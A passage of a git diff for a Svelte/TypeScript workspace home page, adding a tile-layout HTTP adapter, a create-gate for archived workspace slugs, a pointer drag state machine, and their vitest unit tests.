+ ok: false,
+ notFound: false,
+ error: err instanceof Error ? err.message : "Tile-layout request failed",
+ };
+ }
+ },
+
+ async putLayout(mode, layout): Promise<TileLayoutHttpResult> {
+ try {
+ const res = await fetchImpl(route(httpBase, mode), {
+ method: "PUT",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ layout }),
+ });
+ if (res.status === 404) {
+ return { ok: false, notFound: true, error: "Tile-layout routes are not served" };
+ }
+ if (!res.ok) return { ok: false, notFound: false, error: await errorOf(res) };
+ const body = (await res.json()) as { layout?: unknown };
+ if (body === null || typeof body !== "object" || body.layout === undefined)
+ return malformed();
+ return { ok: true, layout: body.layout as TileLayoutData };
+ } catch (err) {
+ return {
+ ok: false,
+ notFound: false,
+ error: err instanceof Error ? err.message : "Tile-layout request failed",
+ };
+ }
+ },
+
+ async deleteLayout(mode): Promise<TileLayoutHttpResult> {
+ try {
+ const res = await fetchImpl(route(httpBase, mode), { method: "DELETE" });
+ if (res.status === 404) {
+ return { ok: false, notFound: true, error: "Tile-layout routes are not served" };
+ }
+ if (!res.ok) return { ok: false, notFound: false, error: await errorOf(res) };
+ const body = (await res.json()) as { layout?: unknown };
+ if (body === null || typeof body !== "object" || body.layout === undefined)
+ return malformed();
+ return { ok: true, layout: body.layout as TileLayoutData };
+ } catch (err) {
+ return {
+ ok: false,
+ notFound: false,
+ error: err instanceof Error ? err.message : "Tile-layout request failed",
+ };
+ }
+ },
+ };
+}
diff --git a/src/features/workspaces/index.ts b/src/features/workspaces/index.ts
index dab1dec..c7f57d5 100644
--- a/src/features/workspaces/index.ts
+++ b/src/features/workspaces/index.ts
@@ -1,5 +1,18 @@
export type { WorkspaceHttp, WorkspaceResult } from "./adapter/http";
export { createWorkspaceHttp } from "./adapter/http";
+export { createTileLayoutHttp, type TileLayoutHttp } from "./adapter/tile-layout-http";
+export type { CreateGate, WorkspaceLookup } from "./logic/create";
+export {
+ archivedCreateMessage,
+ checkFailedCreateMessage,
+ gateCreate,
+} from "./logic/create";
+export type {
+ DragEmit,
+ DragEvent as DragControllerEvent,
+ DragPhase,
+} from "./logic/drag-controller";
+export { nextDragPhase } from "./logic/drag-controller";
export type { Route } from "./logic/route";
export {
DEFAULT_WORKSPACE_ID,
@@ -8,10 +21,36 @@ export {
WORKSPACE_SLUG_RE,
workspacePath,
} from "./logic/route";
+export type {
+ GridGeometry,
+ Placement,
+ TileGeometryMode,
+ TileLayoutData,
+ TileLayoutEntry,
+} from "./logic/tile-layout";
+export {
+ clampSpan,
+ displacePlace,
+ dragAppendLimit,
+ fillOrderKey,
+ firstEmptySlot,
+ geometryFor,
+ mergeLayout,
+ pack,
+ pinAtFirstEmpty,
+ placeAtCell,
+ resizeTile,
+ sanitizeLayout,
+ sortByRecentActivity,
+ sortTiles,
+ toRenderCell,
+ toUniversalCell,
+} from "./logic/tile-layout";
export { applyStarred, pageTitle, relativeTime, sortWorkspaces } from "./logic/view-model";
export type { WorkspaceStore } from "./store.svelte";
export { createWorkspaceStore } from "./store.svelte";
-export { default as WorkspaceCard } from "./ui/WorkspaceCard.svelte";
+export type { TileLayoutProviderState, TileLayoutStore } from "./tile-layout-store.svelte";
+export { createTileLayoutStore } from "./tile-layout-store.svelte";
export { default as WorkspacesHome } from "./ui/WorkspacesHome.svelte";
/** Public module manifest — aggregated by the shell's "Loaded Modules" view. */
diff --git a/src/features/workspaces/logic/create.test.ts b/src/features/workspaces/logic/create.test.ts
new file mode 100644
index 0000000..278bcd6
--- /dev/null
+++ b/src/features/workspaces/logic/create.test.ts
@@ -0,0 +1,50 @@
+import type { Workspace } from "@dispatch/wire";
+import { describe, expect, it } from "vitest";
+import {
+ archivedCreateMessage,
+ checkFailedCreateMessage,
+ gateCreate,
+ type WorkspaceLookup,
+} from "./create";
+
+function workspace(overrides: Partial<Workspace> = {}): Workspace {
+ return {
+ id: "old",
+ title: "Old",
+ defaultCwd: null,
+ defaultComputerId: null,
+ starred: false,
+ archived: false,
+ createdAt: 1,
+ lastActivityAt: 2,
+ ...overrides,
+ };
+}
+
+describe("gateCreate", () => {
+ it("blocks a slug whose workspace is archived, with the can't-create message", () => {
+ const lookup: WorkspaceLookup = { kind: "found", workspace: workspace({ archived: true }) };
+ const gate = gateCreate("old", lookup);
+ expect(gate).toEqual({ ok: false, error: archivedCreateMessage("old") });
+ expect(gate.ok === false && gate.error).toContain(
+ 'A workspace named "old" already exists and is archived — you can\'t create it.',
+ );
+ });
+
+ it("proceeds for an existing ACTIVE workspace (ensure is idempotent)", () => {
+ const lookup: WorkspaceLookup = { kind: "found", workspace: workspace({ archived: false }) };
+ expect(gateCreate("old", lookup)).toEqual({ ok: true });
+ });
+
+ it("proceeds for a missing slug", () => {
+ expect(gateCreate("fresh", { kind: "missing" })).toEqual({ ok: true });
+ });
+
+ it("blocks when the existence probe failed (never guesses)", () => {
+ const gate = gateCreate("maybe", { kind: "failed", error: "db down" });
+ expect(gate).toEqual({ ok: false, error: checkFailedCreateMessage("maybe", "db down") });
+ expect(gate.ok === false && gate.error).toContain(
+ 'Couldn\'t check whether a workspace named "maybe"',
+ );
+ });
+});
diff --git a/src/features/workspaces/logic/create.ts b/src/features/workspaces/logic/create.ts
new file mode 100644
index 0000000..c9385e1
--- /dev/null
+++ b/src/features/workspaces/logic/create.ts
@@ -0,0 +1,64 @@
+/**
+ * Pure create-gate logic for the New-workspace form — zero DOM, zero effects.
+ *
+ * `PUT /workspaces/:id` (ensure) is idempotent, so creating a slug that belongs
+ * to an ARCHIVED workspace would silently "succeed": the backend returns the
+ * archived workspace, the active list (which excludes archived) never shows it,
+ * and the home grid would still place a tile for something invisible. The
+ * frontend therefore probes `GET /workspaces/:id` first and refuses the create
+ * when the slug exists and is archived.
+ */
+
+import type { Workspace } from "@dispatch/wire";
+
+/**
+ * The authoritative existence probe's outcome (`GET /workspaces/:id`). The
+ * adapter maps HTTP status to these kinds; `failed` is deliberately distinct
+ * from `missing` (404) so a broken check is never mistaken for "no such
+ * workspace".
+ */
+export type WorkspaceLookup =
+ | { readonly kind: "found"; readonly workspace: Workspace }
+ | { readonly kind: "missing" }
+ | { readonly kind: "failed"; readonly error: string };
+
+/** Whether a create may proceed: `ok` or a user-facing error message. */
+export type CreateGate = { readonly ok: true } | { readonly ok: false; readonly error: string };
+
+/**
+ * The user-facing message when a slug belongs to an archived workspace. It
+ * states plainly that the create can't happen and points at the existing
+ * recovery affordance (the Archived workspaces list) without adding UI.
+ */
+export function archivedCreateMessage(id: string): string {
+ return `A workspace named "${id}" already exists and is archived — you can't create it. Unarchive it from Archived workspaces instead.`;
+}
+
+/**
+ * The user-facing message when the existence probe itself failed. Proceeding
+ * blindly could recreate the silent archived-tile bug, so the create is
+ * refused with a retryable message instead.
+ */
+export function checkFailedCreateMessage(id: string, error: string): string {
+ return `Couldn't check whether a workspace named "${id}" already exists (${error}). Try again.`;
+}
+
+/**
+ * Decide whether a create may proceed, given the probe outcome. Pure:
+ * `(id, lookup) → gate`.
+ *
+ * - archived slug → blocked with the "can't create" message;
+ * - missing slug or an ACTIVE existing slug → proceed (`ensure` is idempotent,
+ * so an active slug keeps today's behavior);
+ * - a failed probe → blocked too (plan §3.4): never guess, because proceeding
+ * could ensure an archived workspace's tile.
+ */
+export function gateCreate(id: string, lookup: WorkspaceLookup): CreateGate {
+ if (lookup.kind === "failed") {
+ return { ok: false, error: checkFailedCreateMessage(id, lookup.error) };
+ }
+ if (lookup.kind === "found" && lookup.workspace.archived) {
+ return { ok: false, error: archivedCreateMessage(id) };
+ }
+ return { ok: true };
+}
diff --git a/src/features/workspaces/logic/drag-controller.test.ts b/src/features/workspaces/logic/drag-controller.test.ts
new file mode 100644
index 0000000..459063a
--- /dev/null
+++ b/src/features/workspaces/logic/drag-controller.test.ts
@@ -0,0 +1,180 @@
+import { describe, expect, it } from "vitest";
+import { type DragPhase, type DragTransition, nextDragPhase } from "./drag-controller";
+
+const OPTS = { dragThresholdPx: 6 };
+
+function down(over: Partial<Parameters<typeof nextDragPhase>[1] & { type: "pointer-down" }> = {}) {
+ return {
+ type: "pointer-down" as const,
+ id: "t1",
+ x: 10,
+ y: 10,
+ touch: false,
+ ...over,
+ };
+}
+
+function press(touch = false): DragPhase {
+ return nextDragPhase({ kind: "idle" }, down({ touch }), OPTS).phase;
+}
+
+describe("nextDragPhase — mouse", () => {
+ it("a pointer-down enters the undecided pressing state", () => {
+ expect(press()).toEqual({ kind: "pressing", id: "t1", x: 10, y: 10, touch: false });
+ });
+
+ it("movement past the threshold starts a drag", () => {
+ const transition = nextDragPhase(
+ press(),
+ { type: "pointer-move", x: 20, y: 12, targetCell: { col: 4, row: 1 } },
+ OPTS,
+ );
+ expect(transition.phase).toEqual({
+ kind: "dragging",
+ id: "t1",
+ x: 20,
+ y: 12,
+ targetCell: { col: 4, row: 1 },
+ touch: false,
+ });
+ expect(transition.emit).toBeUndefined();
+ });
+
+ it("movement within the threshold stays pressing", () => {
+ const transition = nextDragPhase(
+ press(),
+ { type: "pointer-move", x: 12, y: 14, targetCell: { col: 1, row: 1 } },
+ OPTS,
+ );
+ expect(transition.phase).toEqual({ kind: "pressing", id: "t1", x: 10, y: 10, touch: false });
+ });
+
+ it("release without moving emits a tap (open the workspace)", () => {
+ const transition = nextDragPhase(press(), { type: "pointer-up" }, OPTS);
+ expect(transition.phase).toEqual({ kind: "idle" });
+ expect(transition.emit).toEqual({ kind: "tap", id: "t1" });
+ });
+
+ it("release while dragging emits a drop with the last tracked index", () => {
+ let transition: DragTransition = nextDragPhase(
+ press(),
+ { type: "pointer-move", x: 30, y: 30, targetCell: { col: 3, row: 1 } },
+ OPTS,
+ );
+ transition = nextDragPhase(
+ transition.phase,
+ { type: "pointer-move", x: 31, y: 31, targetCell: { col: 6, row: 1 } },
+ OPTS,
+ );
+ transition = nextDragPhase(transition.phase, { type: "pointer-up" }, OPTS);
+ expect(transition.emit).toEqual({ kind: "drop", id: "t1", targetCell: { col: 6, row: 1 } });
+ expect(transition.phase).toEqual({ kind: "idle" });
+ });
+});
+
+describe("nextDragPhase — touch", () => {
+ it("a long-press lifts the tile and emits lift (arm the drag + select)", () => {
+ const transition = nextDragPhase(press(true), { type: "long-press" }, OPTS);
+ expect(transition.emit).toEqual({ kind: "lift", id: "t1" });
+ expect(transition.phase).toEqual({
+ kind: "dragging",
+ id: "t1",
+ x: 10,
+ y: 10,
+ targetCell: null,
+ touch: true,
+ });
+ });
+
+ it("movement past the threshold BEFORE the lift cancels (vertical scrolling wins)", () => {
+ const transition = nextDragPhase(
+ press(true),
+ { type: "pointer-move", x: 10, y: 80, targetCell: { col: 1, row: 1 } },
+ OPTS,
+ );
+ expect(transition.phase).toEqual({ kind: "idle" });
+ expect(transition.emit).toBeUndefined();
+ });
+
+ it("movement within the threshold before the lift keeps pressing", () => {
+ const transition = nextDragPhase(
+ press(true),
+ { type: "pointer-move", x: 13, y: 12, targetCell: { col: 1, row: 1 } },
+ OPTS,
+ );
+ expect(transition.phase?.kind).toBe("pressing");
+ });
+
+ it("after the lift, movement drags (never cancels)", () => {
+ let transition = nextDragPhase(press(true), { type: "long-press" }, OPTS);
+ transition = nextDragPhase(
+ transition.phase,
+ { type: "pointer-move", x: 10, y: 90, targetCell: { col: 5, row: 1 } },
+ OPTS,
+ );
+ expect(transition.phase).toEqual({
+ kind: "dragging",
+ id: "t1",
+ x: 10,
+ y: 90,
+ targetCell: { col: 5, row: 1 },
+ touch: true,
+ });
+ });
+
+ it("a long-press never lifts a mouse press (desktop selects via right-click)", () => {
+ const transition = nextDragPhase(press(false), { type: "long-press" }, OPTS);
+ expect(transition.emit).toBeUndefined();
+ expect(transition.phase?.kind).toBe("pressing");
+ });
+
+ it("release while lifted (no movement) drops at the lifted tile's own slot", () => {
+ let transition = nextDragPhase(press(true), { type: "long-press" }, OPTS);
+ transition = nextDragPhase(transition.phase, { type: "pointer-up" }, OPTS);
+ expect(transition.emit).toEqual({ kind: "drop", id: "t1", targetCell: null });
+ });
+});
+
+describe("nextDragPhase — cancellations", () => {
+ it("cancel returns to idle from any phase without emitting", () => {
+ for (const phase of [
+ { kind: "idle" as const },
+ press(),
+ nextDragPhase(
+ press(),
+ { type: "pointer-move", x: 40, y: 40, targetCell: { col: 2, row: 1 } },
+ OPTS,
+ ).phase,
+ ]) {
+ const transition = nextDragPhase(phase, { type: "cancel" }, OPTS);
+ expect(transition.phase).toEqual({ kind: "idle" });
+ expect(transition.emit).toBeUndefined();
+ }
+ });
+
+ it("events in idle are inert", () => {
+ expect(nextDragPhase({ kind: "idle" }, { type: "pointer-up" }, OPTS).phase).toEqual({
+ kind: "idle",
+ });
+ expect(
+ nextDragPhase(
+ { kind: "idle" },
+ { type: "pointer-move", x: 1, y: 1, targetCell: { col: 1, row: 1 } },
+ OPTS,
+ ).phase,
+ ).toEqual({ kind: "idle" });
+ expect(nextDragPhase({ kind: "idle" }, { type: "long-press" }, OPTS).phase).toEqual({
+ kind: "idle",
+ });
+ });
+
+ it("a second pointer-down restarts the gesture with the new tile", () => {
+ const dragging = nextDragPhase(
+ press(),
+ { type: "pointer-move", x: 40, y: 40, targetCell: { col: 2, row: 1 } },
+ OPTS,
+ ).phase;
+ const transition = nextDragPhase(dragging, down({ id: "t2" }), OPTS);
+ expect(transition.phase).toEqual({ kind: "pressing", id: "t2", x: 10, y: 10, touch: false });
+ });
+});
diff --git a/src/features/workspaces/logic/drag-controller.ts b/src/features/workspaces/logic/drag-controller.ts
new file mode 100644
index 0000000..a1877aa
--- /dev/null
+++ b/src/features/workspaces/logic/drag-controller.ts
@@ -0,0 +1,162 @@
+/**
+ * Pure drag/press state machine for the home tile grid — zero DOM, zero
+ * timers (the component schedules the long-press timer and dispatches its
+ * firing as an event), zero Svelte.
+ *
+ * Pointer semantics:
+ * - **Mouse**: press → move past the threshold = DRAG; release without
+ * moving = a TAP (open the workspace). Selection is right-click.
+ * - **Touch**: press → (no movement past the threshold) long-press = LIFT
+ * (arm the drag + select the tile) → further moves drag. Moving past the
+ * threshold BEFORE the lift cancels the press — vertical scrolling wins,
+ * so the two gestures never fight. Release while lifted = DROP.
+ *
+ * Pure: `(phase, event, options) → { phase, emit }`. The component owns the
+ * reactive `$state` and performs the emits (navigate / select / place).
+ */
+
+import type { Cell } from "./tile-layout";
+
+/** Where the interaction currently stands. */
+export type DragPhase =
+ | { readonly kind: "idle" }
+ /** Pointer is down; not yet decided between tap / drag / long-press. */
+ | {
+ readonly kind: "pressing";
+ readonly id: string;
+ readonly x: number;
+ readonly y: number;
+ readonly touch: boolean;
+ }
+ /** The tile is lifted and following the pointer (touch: after the long-press). */
+ | {
+ readonly kind: "dragging";
+ readonly id: string;
+ readonly x: number;
+ readonly y: number;
+ /** The grid CELL under the pointer (null = not over the canvas yet). */
+ readonly targetCell: Cell | null;
+ readonly touch: boolean;
+ };
+
+/** An action the component should perform as a result of a transition. */
+export type DragEmit =
+ | { readonly kind: "tap"; readonly id: string }
+ | { readonly kind: "lift"; readonly id: string }
+ | { readonly kind: "drop"; readonly id: string; readonly targetCell: Cell | null };
+
+/** Events the component dispatches (DOM events + the long-press timer firing). */
+export type DragEvent =
+ | {
+ readonly type: "pointer-down";
+ readonly id: string;
+ readonly x: number;
+ readonly y: number;
+ readonly touch: boolean;
+ }
+ | {
+ readonly type: "pointer-move";
+ readonly x: number;
+ readonly y: number;
+ readonly targetCell: Cell | null;
+ }
+ | { readonly type: "pointer-up" }
+ | { readonly type: "long-press" }
+ /** pointercancel / blur / the tile unmounting / Escape. */
+ | { readonly type: "cancel" };
+
+export interface DragOptions {
+ /** Pointer travel (px) that turns a press into a drag (or cancels a touch press). */
+ readonly dragThresholdPx: number;
+}
+
+export interface DragTransition {
+ readonly phase: DragPhase;
+ readonly emit?: DragEmit;
+}
+
+const IDLE: DragPhase = { kind: "idle" };
+
+/** Advance the state machine. Pure: phase + event in, NEXT phase + emit out. */
+export function nextDragPhase(
+ phase: DragPhase,
+ event: DragEvent,
+ options: DragOptions,
+): DragTransition {
+ switch (event.type) {
+ case "pointer-down":
+ // A press always restarts (a pointerdown while dragging is a new gesture).
+ return {
+ phase: {
+ kind: "pressing",
+ id: event.id,
+ x: event.x,
+ y: event.y,
+ touch: event.touch,
+ },
+ };
+ case "pointer-move": {
+ if (phase.kind === "pressing") {
+ const travelled = Math.hypot(event.x - phase.x, event.y - phase.y);
+ if (travelled < options.dragThresholdPx) return { phase };
+ // Touch: a big movement before the long-press lift is a SCROLL, not a
+ // drag — abandon the press so the canvas scrolls natively.
+ if (phase.touch) return { phase: IDLE };
+ return {
+ phase: {
+ kind: "dragging",
+ id: phase.id,
+ x: event.x,
+ y: event.y,
+ targetCell: event.targetCell,
+ touch: phase.touch,
+ },
+ };
+ }
+ if (phase.kind === "dragging") {
+ return {
+ phase: {
+ ...phase,
+ x: event.x,
+ y: event.y,
+ targetCell: event.targetCell,
+ },
+ };
+ }
+ return { phase };
+ }
+ case "pointer-up": {
+ if (phase.kind === "pressing") {
+ // No drag, no lift → a tap.
+ return { phase: IDLE, emit: { kind: "tap", id: phase.id } };
+ }
+ if (phase.kind === "dragging") {
+ return {
+ phase: IDLE,
+ emit: { kind: "drop", id: phase.id, targetCell: phase.targetCell },
+ };
+ }
+ return { phase };
+ }
+ case "long-press": {
+ if (phase.kind === "pressing" && phase.touch) {
+ // Touch lift: arm the drag at the press point (the pointer will move
+ // from here) + tell the component to select the tile.
+ return {
+ phase: {
+ kind: "dragging",
+ id: phase.id,
+ x: phase.x,
+ y: phase.y,
+ targetCell: null,
+ touch: true,
+ },
+ emit: { kind: "lift", id: phase.id },
+ };
+ }
+ return { phase };
+ }
+ case "cancel":
+ return { phase: IDLE };
+ }
+}
diff --git a/src/features/workspaces/logic/tile-layout.test.ts b/src/features/workspaces/logic/tile-layout.test.ts
new file mode 100644
index 0000000..b538373
--- /dev/null
+++ b/src/features/workspaces/logic/tile-layout.test.ts
@@ -0,0 +1,857 @@
+import { describe, expect, it } from "vitest";
+import {
+ clampSpan,
+ displacePlace,
+ dragAppendLimit,
+ fillOrderKey,
+ firstEmptySlot,
+ type GridGeometry,
+ geometryFor,
+ mergeLayout,
+ type Placement,
+ pack,
+ pinAtFirstEmpty,
+ placeAtCell,
+ resizeTile,
+ sanitizeLayout,
+ sortByRecentActivity,
+ type TileLayoutEntry,
+ toRenderCell,
+ toUniversalCell,
+ UNIVERSAL_ROWS,
+} from "./tile-layout";
+
+const WIDE = geometryFor(1920, 1080);
+const TALL = geometryFor(390, 844);
+
+function tile(id: string, order: number, colSpan = 1, rowSpan = 1): TileLayoutEntry {
+ return { id, order, colSpan, rowSpan };
+}
+
+describe("geometryFor", () => {
+ it("resolves landscape/desktop viewports to the WIDE geometry", () => {
+ const geometry = geometryFor(1920, 1080);
+ expect(geometry.mode).toBe("wide");
+ expect(geometry.flowRows).toBe(4);
+ expect(geometry.flowCols).toBe(0);
+ expect(geometry.maxColSpan).toBe(4);
+ expect(geometry.maxRowSpan).toBe(2);
+ expect(geometry.unit.height).toBeGreaterThan(0);
+ expect(geometry.unit.width).toBeGreaterThan(0);
+ });
+
+ it("resolves portrait/mobile viewports to the TALL geometry", () => {
+ const geometry = geometryFor(390, 844);
+ expect(geometry.mode).toBe("tall");
+ expect(geometry.flowCols).toBe(2);
+ expect(geometry.flowRows).toBe(0);
+ expect(geometry.maxColSpan).toBe(2);
+ expect(geometry.maxRowSpan).toBe(2);
+ });
+
+ it("picks the picker dimensions from the span caps (4×2 wide, 2×2 tall)", () => {
+ // The resize picker IS the span cap: cols × rows of small squares.
+ expect([WIDE.maxColSpan, WIDE.maxRowSpan]).toEqual([4, 2]);
+ expect([TALL.maxColSpan, TALL.maxRowSpan]).toEqual([2, 2]);
+ });
+
+ it("resolves degenerate (unmeasured) sizes to wide", () => {
+ expect(geometryFor(0, 0).mode).toBe("wide");
+ });
+
+ it("derives the wide unit from the canvas height so the 4 rows fill it", () => {
+ // 4·unit + 3·gap + 2·margin ≈ height: an 800px canvas gets ~160px tiles,
+ // NOT the old fixed 120px (the "squares are so small" complaint).
+ const geometry = geometryFor(1440, 800);
+ const filled = 4 * geometry.unit.height + 3 * geometry.unit.gap + 2 * geometry.margin;
+ expect(geometry.unit.height).toBeGreaterThanOrEqual(140);
+ expect(Math.abs(filled - 800)).toBeLessThanOrEqual(8);
+ expect(geometry.unit.width).toBe(geometry.unit.height);
+ });
+
+ it("clamps the wide unit to its band on very short and very tall canvases", () => {
+ const short = geometryFor(1200, 300);
+ const huge = geometryFor(5000, 4000); // wide (width ≥ height) with a huge height
+ expect(short.unit.height).toBe(112);
+ expect(huge.unit.height).toBe(184);
+ // The margin never collapses (the "no margins" complaint) nor dominates.
+ expect(short.margin).toBeGreaterThanOrEqual(24);
+ expect(huge.margin).toBeLessThanOrEqual(64);
+ });
+
+ it("always carries a positive margin (the tile field never hugs the edge)", () => {
+ const sizes: [number, number][] = [
+ [1920, 1080],
+ [390, 844],
+ [0, 0],
+ [1200, 300],
+ ];
+ for (const [w, h] of sizes) {
+ expect(geometryFor(w, h).margin).toBeGreaterThan(0);
+ }
+ });
+
+ it("keeps the tall unit fixed with a gap (its columns are fluid)", () => {
+ expect(TALL.unit.width).toBe(0);
+ expect(TALL.unit.height).toBeGreaterThanOrEqual(120);
+ expect(TALL.unit.gap).toBeGreaterThan(8);
+ });
+});
+
+describe("clampSpan", () => {
+ it("clamps spans to the geometry caps", () => {
+ expect(clampSpan({ colSpan: 4, rowSpan: 2 }, WIDE)).toEqual({ colSpan: 4, rowSpan: 2 });
+ expect(clampSpan({ colSpan: 9, rowSpan: 9 }, WIDE)).toEqual({ colSpan: 4, rowSpan: 2 });
+ expect(clampSpan({ colSpan: 3, rowSpan: 1 }, TALL)).toEqual({ colSpan: 2, rowSpan: 1 });
+ });
+
+ it("coerces garbage spans to 1×1", () => {
+ expect(clampSpan({ colSpan: 0, rowSpan: -2 }, WIDE)).toEqual({ colSpan: 1, rowSpan: 1 });
+ expect(clampSpan({ colSpan: Number.NaN, rowSpan: 1.9 }, WIDE)).toEqual({
+ colSpan: 1,
+ rowSpan: 1,
+ });
+ });
+});
+
+describe("pack", () => {
+ it("places tiles in order at the first fitting slot (wide, column-wise flow)", () => {
+ const placements = pack([tile("a", 0), tile("b", 1), tile("c", 2), tile("d", 3)], WIDE);
+ expect(placements).toEqual([
+ { id: "a", col: 1, row: 1, colSpan: 1, rowSpan: 1 },
+ { id: "b", col: 1, row: 2, colSpan: 1, rowSpan: 1 },
+ { id: "c", col: 1, row: 3, colSpan: 1, rowSpan: 1 },
+ { id: "d", col: 1, row: 4, colSpan: 1, rowSpan: 1 },
+ ]);
+ });
+
+ it("flows to the next column when the current one is full (wide)", () => {
+ const placements = pack(
+ [tile("a", 0), tile("b", 1), tile("c", 2), tile("d", 3), tile("e", 4)],
+ WIDE,
+ );
+ expect(placements.map((p) => [p.col, p.row])).toEqual([
+ [1, 1],
+ [1, 2],
+ [1, 3],
+ [1, 4],
+ [2, 1],
+ ]);
+ });
+
+ it("respects the persisted order over ids", () => {
+ const placements = pack([tile("z", 0), tile("a", 1)], WIDE);
+ expect(placements.map((p) => p.id)).toEqual(["z", "a"]);
+ });
+
+ it("places a double-height tile at the first slot with room (wide)", () => {
+ const placements = pack([tile("a", 0, 1, 2), tile("b", 1), tile("c", 2)], WIDE);
+ expect(placements.map((p) => [p.id, p.col, p.row, p.rowSpan])).toEqual([
+ ["a", 1, 1, 2],
+ ["b", 1, 3, 1],
+ ["c", 1, 4, 1],
+ ]);
+ });
+
+ it("a tile too tall for the remaining rows moves to the next column (wide)", () => {
+ // a,b,c fill rows 1-3; a 2-row tile does not fit the single remaining row → col 2.
+ const placements = pack(
+ [tile("a", 0), tile("b", 1), tile("c", 2), tile("tall", 3, 1, 2)],
+ WIDE,
+ );
+ expect(placements[3]).toEqual({ id: "tall", col: 2, row: 1, colSpan: 1, rowSpan: 2 });
+ });
+
+ it("flows row-wise across two fixed columns in tall mode", () => {
+ const placements = pack([tile("a", 0), tile("b", 1), tile("c", 2)], TALL);
+ expect(placements.map((p) => [p.col, p.row])).toEqual([
+ [1, 1],
+ [2, 1],
+ [1, 2],
+ ]);
+ });
+
+ it("clamps spans per geometry when packing (persisted spans stay raw)", () => {
+ const tiles = [tile("wide", 0, 3, 1), tile("b", 1, 4, 2)];
+ const placements = pack(tiles, TALL);
+ expect(placements).toEqual([
+ { id: "wide", col: 1, row: 1, colSpan: 2, rowSpan: 1 },
+ { id: "b", col: 1, row: 2, colSpan: 2, rowSpan: 2 },
+ ]);
+ // The input is untouched.
+ expect(tiles[0]).toEqual({ id: "wide", order: 0, colSpan: 3, rowSpan: 1 });
+ });
+
+ it("never overlaps tiles", () => {
+ const tiles = [
+ tile("a", 0, 2, 2),
+ tile("b", 1, 2, 2),
+ tile("c", 2, 4, 1),
+ tile("d", 3),
+ tile("e", 4, 1, 2),
+ tile("f", 5),
+ ];
+ const placements = pack(tiles, WIDE);
+ const seen = new Set<string>();
+ for (const p of placements) {
+ for (let r = p.row; r < p.row + p.rowSpan; r++) {
+ for (let c = p.col; c < p.col + p.colSpan; c++) {
+ const key = `${r}:${c}`;
+ expect(seen.has(key)).toBe(false);
+ seen.add(key);
+ }
+ }
+ }
+ });
+});
+
+describe("fillOrderKey", () => {
+ it("ranks wide slots column-wise (top-to-bottom, then next column)", () => {
+ expect(fillOrderKey(1, 1, WIDE)).toBeLessThan(fillOrderKey(1, 2, WIDE));
+ expect(fillOrderKey(1, 4, WIDE)).toBeLessThan(fillOrderKey(2, 1, WIDE));
+ });
+
+ it("ranks tall slots row-wise (left-to-right, then next row)", () => {
+ expect(fillOrderKey(1, 1, TALL)).toBeLessThan(fillOrderKey(2, 1, TALL));
+ expect(fillOrderKey(2, 1, TALL)).toBeLessThan(fillOrderKey(1, 2, TALL));
+ });
+});
+
+describe("firstEmptySlot", () => {
+ it("finds the first fitting empty slot in fill order", () => {
+ // Wide, rows 1-2 of col 1 occupied by a double-height tile → first empty is (col1,row3).
+ const tiles = [tile("a", 0, 1, 2)];
+ expect(firstEmptySlot(tiles, { colSpan: 1, rowSpan: 1 }, WIDE)).toEqual({ col: 1, row: 3 });
+ });
+
+ it("skips slots too small for the requested footprint", () => {
+ // (col1,row4) is the first empty 1×1 slot after three singles, but a
+ // 2-row tile needs rows 4-5 of a 4-row grid — impossible → next column.
+ const tiles = [tile("a", 0), tile("b", 1), tile("c", 2)];
+ expect(firstEmptySlot(tiles, { colSpan: 1, rowSpan: 1 }, WIDE)).toEqual({ col: 1, row: 4 });
+ expect(firstEmptySlot(tiles, { colSpan: 1, rowSpan: 2 }, WIDE)).toEqual({ col: 2, row: 1 });
+ });
+
+ it("returns the origin for an empty layout", () => {
+ expect(firstEmptySlot([], { colSpan: 1, rowSpan: 1 }, WIDE)).toEqual({ col: 1, row: 1 });
+ });
+
+ it("lands in a brand-new column/row beyond the occupied extent", () => {
+ // Two 4×2 tiles fill columns 1-4 across all 4 rows → the next slot is col 5.
+ const tiles = [tile("a", 0, 4, 2), tile("b", 1, 4, 2)];
+ expect(firstEmptySlot(tiles, { colSpan: 1, rowSpan: 1 }, WIDE)).toEqual({ col: 5, row: 1 });
+ });
+});
+
+describe("pinAtFirstEmpty", () => {
+ it("pins a new tile at the first empty slot (holes count)", () => {
+ // A double-height tile fills rows 1-2, a single fills row 3 → the first
+ // empty slot is (col1,row4); the new tile PINS exactly there.
+ const tiles = [tile("big", 0, 1, 2), tile("c", 1)];
+ const next = pinAtFirstEmpty(tiles, "new", WIDE);
+ expect(next.find((t) => t.id === "new")).toMatchObject({ col: 1, row: 4 });
+ const placements = pack(next, WIDE);
+ expect(placements.map((p) => [p.id, p.col, p.row])).toEqual([
+ ["big", 1, 1],
+ ["c", 1, 3],
+ ["new", 1, 4],
+ ]);
+ });
+
+ it("pins into a GAP between pinned tiles", () => {
+ // big is pinned out of the way; the flow left row 3 free for a 1×1.
+ const tiles = [
+ { ...tile("big", 0, 1, 2), col: 1, row: 1 },
+ { ...tile("z", 1), col: 1, row: 4 },
+ ];
+ const next = pinAtFirstEmpty(tiles, "new", WIDE);
+ expect(next.find((t) => t.id === "new")).toMatchObject({ col: 1, row: 3 });
+ });
+
+ it("re-pins an already-present tile instead of duplicating (refresh-race idempotency)", () => {
+ const tiles = [tile("a", 0), tile("x", 1), tile("b", 2, 1, 2)];
+ const first = pinAtFirstEmpty(tiles, "x", WIDE);
+ const second = pinAtFirstEmpty(first, "x", WIDE);
+ expect(second).toEqual(first);
+ expect(second.filter((t) => t.id === "x")).toHaveLength(1);
+ });
+
+ it("appends (pins beyond the current extent) when the grid is full", () => {
+ const tiles = [tile("a", 0), tile("b", 1), tile("c", 2), tile("d", 3)];
+ const next = pinAtFirstEmpty(tiles, "e", WIDE);
+ expect(next.find((t) => t.id === "e")).toMatchObject({ col: 2, row: 1 });
+ });
+
+ it("preserves the spans of a re-pinned existing tile", () => {
+ const tiles = [tile("x", 0, 2, 2), tile("a", 1), tile("b", 2), tile("c", 3)];
+ const next = pinAtFirstEmpty(tiles, "x", WIDE);
+ expect(next.find((t) => t.id === "x")).toMatchObject({ colSpan: 2, rowSpan: 2 });
+ });
+
+ it("saves the pin in the universal frame (tall)", () => {
+ const tiles = [{ ...tile("a", 0), col: 1, row: 1 }];
+ const next = pinAtFirstEmpty(tiles, "new", TALL);
+ // a renders at tall (1,1); the first empty slot is tall (2,1) → universal
+ // (col 1, row 2).
+ expect(next.find((t) => t.id === "new")).toMatchObject({ col: 1, row: 2 });
+ });
+});
+
+describe("resizeTile", () => {
+ it("sets the persisted spans of one tile", () => {
+ const next = resizeTile([tile("a", 0), tile("b", 1)], "b", 4, 2);
